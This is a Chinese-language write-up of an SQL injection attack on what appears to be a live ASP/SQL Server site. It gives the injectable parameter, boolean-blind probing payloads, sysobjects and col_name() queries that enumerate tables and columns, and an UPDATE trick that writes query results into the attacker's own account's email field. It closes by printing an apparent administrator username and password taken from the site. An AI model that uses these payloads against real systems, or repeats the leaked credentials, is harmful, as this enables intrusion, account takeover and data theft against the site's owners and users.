SQL Injection 攻擊日益盛行。本文實戰記錄如何在不知原始碼、不知資料庫結構的前提下,透過錯誤回顯與系統表查詢,逐步枚舉資料表、欄位並竊取管理員帳密。
在參數 Specialid=1817 後加單引號觸發錯誤,確認未過濾。嘗試 ; 註解後續 SQL,改用 USE master 失敗,改採布林盲注猜測資料表/欄位:
...Specialid=1817 AND 1<>(SELECT COUNT(id) FROM [user])
...Specialid=1817 AND 1<>(SELECT COUNT(username) FROM [user])
透過錯誤訊息「物件名稱無效」或「資料行名稱無效」確認 user 表與 id、username、email 欄位存在,並註冊帳號 rrrrr 取得 id=103534 作為更新目標。
SQL Server 系統表 sysobjects 記錄所有使用者物件。關鍵欄位:
name:物件名稱xtype='U':使用者資料表id:物件識別碼(遞增)status>0:使用者表標記逐步查詢取得所有使用者表名:
SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0
SELECT TOP 1 id FROM sysobjects WHERE xtype='U' AND name='gallery'
SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND id>2099048
再利用 col_name(object_id('表名'), 欄位序號) 列舉各表欄位。
找到可更新的頁面(ShowSinger.ASP),透過 UPDATE ... SET email=(子查詢) WHERE id=103534 將查詢結果寫入自身 email 欄位,再由前台檢視:
admin 表。admin 欄位:id、username、password。id=44 的帳密:gscdjmp3 / XZDC9212CDJ。